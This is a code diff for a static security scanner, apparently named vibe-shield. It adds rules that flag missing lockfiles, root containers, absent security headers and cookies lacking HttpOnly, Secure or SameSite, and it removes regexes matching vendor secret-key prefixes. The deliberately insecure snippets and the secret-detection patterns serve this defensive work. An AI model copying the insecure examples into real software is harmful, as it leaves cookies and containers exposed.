severity: 'medium', confidence: 'medium', cwe: shared_1.CWES.untrustedSearchPath,
|
|
96
|
+
description: 'A package manifest without a lockfile can resolve different dependency versions across installs.',
|
|
97
|
+
insecureExample: 'package.json without a lockfile', secureExample: 'Commit a lockfile generated by the package manager.',
|
|
98
|
+
remediation: ['Commit a reviewed lockfile for the package manager used by this project.', 'Use the package manager’s frozen-lockfile mode in CI.'], references: ['https://docs.npmjs.com/cli/v10/configuring-npm/package-lock-json'],
|
|
99
|
+
appliesTo: ctx => manifest(ctx) && ctx.absolutePath === path.join(ctx.project.rootDir, 'package.json'),
|
|
100
|
+
detect: ctx => ['package-lock.json', 'npm-shrinkwrap.json', 'yarn.lock', 'pnpm-lock.yaml', 'bun.lock', 'bun.lockb'].some(n => (0, node_fs_1.existsSync)(path.join(ctx.project.rootDir, n))) ? [] : [{ line: 1, column: 1, matched: 'package.json' }],
|
|
101
|
+
});
|
|
102
|
+
/** Docker defaults to root when the final stage never selects a runtime user. */
|
|
103
|
+
exports.DOCKER_DEFAULT_ROOT_RULE = (0, helpers_1.defineRule)({
|
|
104
|
+
id: 'VSB-INFRA-009', slug: 'container-default-root', title: 'Container has no final-stage USER', category: 'infrastructure',
|
|
105
|
+
severity: 'medium', confidence: 'medium', cwe: shared_1.CWES.privilegeEscalation,
|
|
106
|
+
description: 'Without a USER directive in the final build stage, a container may run as root unless its base image specifies a user.',
|
|
107
|
+
insecureExample: 'FROM node:22-alpine', secureExample: 'FROM node:22-alpine\nUSER node',
|
|
108
|
+
remediation: ['Select a non-root runtime user in the final stage.', 'Test file permissions and runtime access with that user.'], references: [shared_1.CWES.privilegeEscalation.url],
|
|
109
|
+
appliesTo: docker, detect: ctx => {
|
|
110
|
+
const stages = [...ctx.code.matchAll(/^\s*FROM\s+[^\n]+/gim)];
|
|
111
|
+
const last = stages[stages.length - 1];
|
|
112
|
+
if (!last || /^\s*USER\s+\S+/im.test(ctx.code.slice(last.index)))
|
|
113
|
+
return [];
|
|
114
|
+
return [{ offset: last.index, matched: last[0].trim() }];
|
|
115
|
+
},
|
|
116
|
+
});
|
|
@@ -13,6 +13,7 @@ exports.defineRule = defineRule;
|
|
|
13
13
|
exports.regexHits = regexHits;
|
|
14
14
|
exports.bodyFrom = bodyFrom;
|
|
15
15
|
exports.fileHit = fileHit;
|
|
16
|
+
const mappings_1 = require("../mappings");
|
|
16
17
|
const text_1 = require("../text");
|
|
17
18
|
/** Does this file match the declarative scope of a rule? */
|
|
18
19
|
function inScope(def, ctx) {
|
|
@@ -36,6 +37,7 @@ function defineRule(def) {
|
|
|
36
37
|
const custom = def.appliesTo;
|
|
37
38
|
const rule = {
|
|
38
39
|
...def,
|
|
40
|
+
owasp: def.owasp ?? (0, mappings_1.owaspMappings)(def.id, def.cwe.id),
|
|
39
41
|
appliesTo: (ctx) => (custom ? custom(ctx) && inScope(def, ctx) : inScope(def, ctx)),
|
|
40
42
|
};
|
|
41
43
|
return rule;
|
|
@@ -12,6 +12,8 @@ exports.RULES_FINGERPRINT = exports.ALL_RULES = exports.SCAN_RULES = exports.fil
|
|
|
12
12
|
exports.getRule = getRule;
|
|
13
13
|
exports.rulesByCategory = rulesByCategory;
|
|
14
14
|
exports.selectRules = selectRules;
|
|
15
|
+
const response_hardening_1 = require("./response-hardening");
|
|
16
|
+
const hardening_1 = require("./hardening");
|
|
15
17
|
const ai_vulnerabilities_1 = require("./ai-vulnerabilities");
|
|
16
18
|
const client_exposure_1 = require("./client-exposure");
|
|
17
19
|
const database_exposure_1 = require("./database-exposure");
|
|
@@ -44,6 +46,10 @@ exports.SCAN_RULES = [
|
|
|
44
46
|
...database_exposure_1.DATABASE_EXPOSURE_RULES,
|
|
45
47
|
...ai_vulnerabilities_1.AI_VULNERABILITY_RULES,
|
|
46
48
|
...secret_entropy_1.SECRET_ENTROPY_RULES,
|
|
49
|
+
...hardening_1.HARDENING_RULES,
|
|
50
|
+
...response_hardening_1.RESPONSE_HARDENING_RULES,
|
|
51
|
+
hardening_1.MISSING_LOCKFILE_RULE,
|
|
52
|
+
hardening_1.DOCKER_DEFAULT_ROOT_RULE,
|
|
47
53
|
];
|
|
48
54
|
/** Every rule the tool knows about, including the agent-integrity family. */
|
|
49
55
|
exports.ALL_RULES = [...exports.SCAN_RULES, ...skill_auditor_1.AGENT_RULES];
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.RESPONSE_HARDENING_RULES = void 0;
|
|
4
|
+
/** Local configuration signals, not proof of effective response headers or cookies. */
|
|
5
|
+
const helpers_1 = require("./helpers");
|
|
6
|
+
const shared_1 = require("./shared");
|
|
7
|
+
const sourceFile = (ctx) => /\.(?:[cm]?[jt]sx?)$/i.test(ctx.fileName) &&
|
|
8
|
+
!ctx.flags.isTestFile && !ctx.flags.isDocumentation && !ctx.flags.isGenerated && !ctx.flags.isAgentInstructionFile;
|
|
9
|
+
const nextConfig = (ctx) => /^next\.config\.[cm]?[jt]s$/i.test(ctx.fileName);
|
|
10
|
+
const serverConfig = (ctx) => /\b(?:app|server|fastify)\.listen\s*\(/.test(ctx.code) && /\b(?:express|fastify|hono)\b/i.test(ctx.code);
|
|
11
|
+
const headers = [
|
|
12
|
+
{ id: 'VSB-INFRA-010', slug: 'missing-content-security-policy', name: 'Content-Security-Policy', probe: /\b(?:Content-Security-Policy|contentSecurityPolicy)\b/i, hint: 'Define a restrictive Content-Security-Policy appropriate to the app, including a safe script-src.', cwe: (0, shared_1.cwe)('CWE-693', 'Protection Mechanism Failure') },
|
|
13
|
+
{ id: 'VSB-INFRA-011', slug: 'missing-frame-protection', name: 'X-Frame-Options', probe: /\b(?:X-Frame-Options|frameguard|frame-ancestors)\b/i, hint: 'Set X-Frame-Options or a CSP frame-ancestors directive appropriate to the application.', cwe: (0, shared_1.cwe)('CWE-693', 'Protection Mechanism Failure') },
|
|
14
|
+
{ id: 'VSB-INFRA-012', slug: 'missing-hsts', name: 'Strict-Transport-Security', probe: /\b(?:Strict-Transport-Security|hsts)\b/i, hint: 'Enable HSTS at the HTTPS edge after verifying HTTPS coverage across the relevant hosts.', cwe: (0, shared_1.cwe)('CWE-693', 'Protection Mechanism Failure') },
|
|
15
|
+
];
|
|
16
|
+
const HEADER_RULES = headers.map(header => (0, helpers_1.defineRule)({
|
|
17
|
+
id: header.id, slug: header.slug, title: `${header.name} not observed in server configuration`,
|
|
18
|
+
category: 'infrastructure', severity: 'low', confidence: 'low', cwe: header.cwe,
|
|
19
|
+
description: `No ${header.name} configuration was observed in this server configuration file. It may be supplied by middleware, the hosting platform, or a reverse proxy; verify the deployed response.`,
|
|
20
|
+
insecureExample: '// No security header configured in this file', secureExample: header.hint,
|
|
21
|
+
remediation: [header.hint, 'Verify actual response headers at the deployed edge, including error responses and any proxy configuration.'],
|
|
22
|
+
references: ['https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html', header.cwe.url],
|
|
23
|
+
appliesTo: ctx => sourceFile(ctx) && (nextConfig(ctx) || serverConfig(ctx)),
|
|
24
|
+
detect: ctx => {
|
|
25
|
+
// Helmet with no options enables these default protections. A configured or
|
|
26
|
+
// indirect middleware is not assumed to do so, and the result is advisory.
|
|
27
|
+
if (header.probe.test(ctx.code) || /\bhelmet\s*\(\s*\)/.test(ctx.code))
|
|
28
|
+
return [];
|
|
29
|
+
return [{ line: 1, column: 1, matched: ctx.lineText(1).trim(), message: `${header.name} was not observed in this file. Check middleware and deployment headers before treating this as missing.` }];
|
|
30
|
+
},
|
|
31
|
+
}));
|
|
32
|
+
/** Extract top-level call arguments, respecting nested delimiters and quotes. */
|
|
33
|
+
function callArguments(code, open) {
|
|
34
|
+
const stack = [')'];
|
|
35
|
+
const args = [];
|
|
36
|
+
let start = open + 1;
|
|
37
|
+
let quote = '';
|
|
38
|
+
for (let i = start; i < code.length && i < open + 12_000; i += 1) {
|
|
39
|
+
const ch = code[i];
|
|
40
|
+
if (quote) {
|
|
41
|
+
if (ch === '\\') {
|
|
42
|
+
i += 1;
|
|
43
|
+
continue;
|
|
44
|
+
}
|
|
45
|
+
if (ch === quote)
|
|
46
|
+
quote = '';
|
|
47
|
+
continue;
|
|
48
|
+
}
|
|
49
|
+
if (ch === '"' || ch === "'" || ch === '`') {
|
|
50
|
+
quote = ch;
|
|
51
|
+
continue;
|
|
52
|
+
}
|
|
53
|
+
if (ch === '(' || ch === '[' || ch === '{') {
|
|
54
|
+
stack.push(ch === '(' ? ')' : ch === '[' ? ']' : '}');
|
|
55
|
+
continue;
|
|
56
|
+
}
|
|
57
|
+
if (ch === stack[stack.length - 1]) {
|
|
58
|
+
stack.pop();
|
|
59
|
+
if (!stack.length) {
|
|
60
|
+
args.push(code.slice(start, i).trim());
|
|
61
|
+
return args;
|
|
62
|
+
}
|
|
63
|
+
continue;
|
|
64
|
+
}
|
|
65
|
+
if (ch === ',' && stack.length === 1) {
|
|
66
|
+
args.push(code.slice(start, i).trim());
|
|
67
|
+
start = i + 1;
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
return null;
|
|
71
|
+
}
|
|
72
|
+
function cookieCalls(ctx) {
|
|
73
|
+
const calls = [];
|
|
74
|
+
const pattern = /\b(?:[\w$]+\.cookie|[\w$]+\.cookies\.set|cookies\s*\(\s*\)\s*\.set|setCookie|cookie\.serialize)\s*\(/g;
|
|
75
|
+
for (const match of ctx.code.matchAll(pattern)) {
|
|
76
|
+
const args = callArguments(ctx.code, match.index + match[0].lastIndexOf('('));
|
|
77
|
+
if (!args || !args[0])
|
|
78
|
+
continue;
|
|
79
|
+
const singleObject = args.length === 1 && args[0].startsWith('{');
|
|
80
|
+
const required = /^setCookie\s*\(/.test(match[0]) ? 3 : 2;
|
|
81
|
+
const last = args[args.length - 1];
|
|
82
|
+
// Dynamic option expressions and object spreads may provide flags; skip
|
|
83
|
+
// rather than claiming they are absent. Different setters remain separate.
|
|
84
|
+
if (singleObject) {
|
|
85
|
+
if (/\.\.\./.test(last))
|
|
86
|
+
continue;
|
|
87
|
+
calls.push({ offset: match.index, options: last });
|
|
88
|
+
}
|
|
89
|
+
else if (args.length === required) {
|
|
90
|
+
calls.push({ offset: match.index, options: null });
|
|
91
|
+
}
|
|
92
|
+
else if (args.length === required + 1 && /^\{[\s\S]*\}$/.test(last) && !/\.\.\./.test(last)) {
|
|
93
|
+
calls.push({ offset: match.index, options: last });
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
return calls;
|
|
97
|
+
}
|
|
98
|
+
const flags = [
|
|
99
|
+
{ id: 'VSB-INFRA-013', slug: 'cookie-missing-httponly', name: 'HttpOnly', key: 'httpOnly', cwe: (0, shared_1.cwe)('CWE-1004', 'Sensitive Cookie Without HttpOnly Flag'), fix: 'Set httpOnly: true on sensitive cookies to limit access from browser scripts.' },
|
|
100
|
+
{ id: 'VSB-INFRA-014', slug: 'cookie-missing-secure', name: 'Secure', key: 'secure', cwe: (0, shared_1.cwe)('CWE-614', 'Sensitive Cookie in HTTPS Session Without Secure Attribute'), fix: 'Set secure: true on sensitive cookies served over HTTPS.' },
|
|
101
|
+
{ id: 'VSB-INFRA-015', slug: 'cookie-missing-samesite', name: 'SameSite', key: 'sameSite', cwe: (0, shared_1.cwe)('CWE-1275', 'Sensitive Cookie with Improper SameSite Attribute'), fix: 'Set sameSite to lax or strict where appropriate, and use CSRF protections for state-changing requests.' },
|
|
102
|
+
];
|
|
103
|
+
/** Only top-level keys belong to the cookie options object. */
|
|
104
|
+
function hasOption(options, key) {
|
|
105
|
+
const properties = callArguments(`(${options.slice(1, -1)})`, 0) ?? [];
|
|
106
|
+
const name = new RegExp(`^\\s*["']?${key}["']?(?:\\s*:|\\s*$)`, 'i');
|
|
107
|
+
return properties.some(property => name.test(property));
|
|
108
|
+
}
|
|
109
|
+
const COOKIE_RULES = flags.map(flag => (0, helpers_1.defineRule)({
|
|
110
|
+
id: flag.id, slug: flag.slug, title: `Cookie setter does not specify ${flag.name}`, category: 'infrastructure',
|
|
111
|
+
severity: 'medium', confidence: 'medium', cwe: flag.cwe,
|
|
112
|
+
description: `The observed cookie setter omits ${flag.name} in its literal options. Framework defaults and shared configuration may supply it; confirm the deployed Set-Cookie header and whether the cookie is sensitive.`,
|
|
113
|
+
insecureExample: "res.cookie('session', token, {})", secureExample: `res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'lax' })`,
|
|
114
|
+
remediation: [flag.fix, 'Check framework defaults, shared middleware and the actual Set-Cookie response; add regression tests for the chosen attributes.'],
|
|
115
|
+
references: ['https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html', flag.cwe.url],
|
|
116
|
+
appliesTo: sourceFile,
|
|
117
|
+
detect: ctx => cookieCalls(ctx).filter(call => !call.options || !hasOption(call.options, flag.key))
|
|
118
|
+
.map((call) => ({ offset: call.offset, matched: ctx.lineText(ctx.locate(call.offset).line).trim().slice(0, 120), message: `${flag.name} was not specified on this cookie setter; check defaults and the actual response.` })),
|
|
119
|
+
}));
|
|
120
|
+
exports.RESPONSE_HARDENING_RULES = [...HEADER_RULES, ...COOKIE_RULES];
|
|
@@ -68,7 +68,6 @@ const vendorSecret = (0, helpers_1.defineRule)({
|
|
|
68
68
|
extensions: [...CLIENT_EXTENSIONS, 'py', 'rb', 'php', 'go', 'sh', 'yml', 'yaml', 'json', 'toml', 'tf', 'env'],
|
|
69
69
|
skipFlags: ['isLockfile', 'isGenerated'],
|
|
70
70
|
appliesTo: (ctx) => !isNonShipping(ctx) && !isDetectorMaterial(ctx),
|
|
71
|
-
contentHints: [/sk_|pk_live|AKIA|ghp_|xox[baprs]-|AIza|sk-ant-|eyJhbGciOi|whsec_|SG\./],
|
|
72
71
|
detect(ctx) {
|
|
73
72
|
return secretHits(ctx, { skipGeneric: true })
|
|
74
73
|
.filter((match) => match.family !== 'private-key' && match.family !== 'jwt')
|
|
@@ -216,7 +215,6 @@ const clientVendorSecret = (0, helpers_1.defineRule)({
|
|
|
216
215
|
extensions: CLIENT_EXTENSIONS,
|
|
217
216
|
skipFlags: ['isLockfile', 'isGenerated'],
|
|
218
217
|
appliesTo: (ctx) => (0, shared_1.isBrowserFile)(ctx) && !isNonShipping(ctx) && !isDetectorMaterial(ctx),
|
|
219
|
-
contentHints: [/sk_|pk_live|AKIA|ghp_|xox[baprs]-|AIza|sk-ant-|eyJhbGciOi|whsec_/],
|
|
220
218
|
detect(ctx) {
|
|
221
219
|
return secretHits(ctx, { skipGeneric: true })
|
|
222
220
|
.filter((match) => match.family !== 'private-key')
|
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import type { OwaspMappings } from './mappings';
|
|
1
2
|
/**
|
|
2
3
|
* vibe-shield :: scanner type system
|
|
3
4
|
* ----------------------------------
|
|
@@ -16,7 +17,7 @@ export type Confidence = (typeof CONFIDENCES)[number];
|
|
|
16
17
|
* Rule families. Each family maps 1:1 to a module in `src/scanner/rules`
|
|
17
18
|
* (plus `agent-integrity`, which is produced by the MCP / skill auditor).
|
|
18
19
|
*/
|
|
19
|
-
export declare const RULE_CATEGORIES: readonly ["client-exposure", "unguarded-routes", "database-exposure", "ai-vulnerabilities", "secret-entropy", "agent-integrity"];
|
|
20
|
+
export declare const RULE_CATEGORIES: readonly ["client-exposure", "unguarded-routes", "database-exposure", "ai-vulnerabilities", "secret-entropy", "infrastructure", "dependencies", "agent-integrity"];
|
|
20
21
|
export type RuleCategory = (typeof RULE_CATEGORIES)[number];
|
|
21
22
|
export declare const CATEGORY_TITLES: Record<RuleCategory, string>;
|
|
22
23
|
/** Relative severity weight used by the scoring model. */
|
|
@@ -218,6 +219,8 @@ export interface Rule {
|
|
|
218
219
|
severity: Severity;
|
|
219
220
|
confidence: Confidence;
|
|
220
221
|
cwe: Cwe;
|
|
222
|
+
/** OWASP associations; LLM mappings apply only where context warrants. */
|
|
223
|
+
owasp?: OwaspMappings;
|
|
221
224
|
/** Why this matters — one or two sentences, written for the coding agent. */
|
|
222
225
|
description: string;
|
|
223
226
|
/** Code shape that triggers the rule. */
|
|
@@ -264,8 +267,11 @@ export interface Finding {
|
|
|
264
267
|
severity: Severity;
|
|
265
268
|
confidence: Confidence;
|
|
266
269
|
cwe: Cwe;
|
|
270
|
+
owasp?: OwaspMappings;
|
|
267
271
|
/** POSIX path relative to the scan root. */
|
|
268
272
|
filePath: string;
|
|
273
|
+
/** Alias for filePath, relative to the scan root. */
|
|
274
|
+
file: string;
|
|
269
275
|
absolutePath: string;
|
|
270
276
|
/** 1-based. */
|
|
271
277
|
line: number;
|
|
@@ -297,6 +303,31 @@ export interface ScanStats {
|
|
|
297
303
|
}
|
|
298
304
|
/** Severity histogram. */
|
|
299
305
|
export type SeverityCounts = Record<Severity, number>;
|
|
306
|
+
/** Static inventory; guard and RLS signals are not proof of effective protection. */
|
|
307
|
+
export interface AttackSurface {
|
|
308
|
+
routes: Array<{
|
|
309
|
+
file: string;
|
|
310
|
+
line: number;
|
|
311
|
+
method: string;
|
|
312
|
+
path: string;
|
|
313
|
+
auth: 'guard-signal' | 'unknown';
|
|
314
|
+
}>;
|
|
315
|
+
tables: Array<{
|
|
316
|
+
file: string;
|
|
317
|
+
line: number;
|
|
318
|
+
table: string;
|
|
319
|
+
rls: 'enabled-signal' | 'not-observed';
|
|
320
|
+
}>;
|
|
321
|
+
aiEntrypoints: Array<{
|
|
322
|
+
file: string;
|
|
323
|
+
line: number;
|
|
324
|
+
}>;
|
|
325
|
+
agentFiles: Array<{
|
|
326
|
+
file: string;
|
|
327
|
+
kind: 'mcp' | 'skill';
|
|
328
|
+
name?: string;
|
|
329
|
+
}>;
|
|
330
|
+
}
|
|
300
331
|
/** Final scorecard. */
|
|
301
332
|
export interface SecurityScore {
|
|
302
333
|
/** 0-100, rounded to one decimal. */
|
|
@@ -313,6 +344,7 @@ export interface SecurityScore {
|
|
|
313
344
|
export interface ScanResult {
|
|
314
345
|
rootDir: string;
|
|
315
346
|
command: 'scan' | 'audit-skills';
|
|
347
|
+
attackSurface?: AttackSurface;
|
|
316
348
|
findings: Finding[];
|
|
317
349
|
score: SecurityScore;
|
|
318
350
|
stats: ScanStats;
|